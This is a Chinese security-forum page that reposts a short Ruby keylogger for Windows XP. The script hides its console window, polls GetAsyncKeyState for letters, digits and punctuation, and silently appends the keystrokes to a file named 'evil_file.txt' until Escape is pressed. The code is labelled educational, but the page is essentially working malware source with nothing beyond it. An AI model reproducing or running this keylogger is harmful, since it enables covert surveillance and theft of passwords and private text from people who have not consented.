首页 网络安全 安全学院 查看内容

ruby版键盘记录代码

2009-10-1 11:08 759 0

摘要: # a simple hookless keylogger, tested on winxp# written by nobot (for educational uses)require 'Win3...
关键词: GetAsyncKeyState file call each keys Win 32 API new 0x01

# a simple hookless keylogger, tested on winxp# written by nobot (for educational uses)require 'Win32API'#hide the console window. win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').callWin32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0)#hash mapping of interesting characters to virtual keycodeskeys = Hash[' ' => 0x20, ',' => 0xBC, '.' => 0xBE](0x30 .. 0x39).each {|v| keys[v-0x30] = v} #numerals 0-9(0x41 .. 0x5A).each {|v| keys[v.chr] = v} #letters A-ZGetAsyncKeyState = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')keys.each_value {|v| GetAsyncKeyState.call(v) }file = File.open('evil_file.txt', 'a')file.puts "\n" + Time.now.to_swhile true break if GetAsyncKeyState.call(0x1B) & 0x01 == 1 #esc keys.each {|k, v| file.print k if GetAsyncKeyState.call(v) & 0x01 == 1} sleep 0.1endfile.close
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部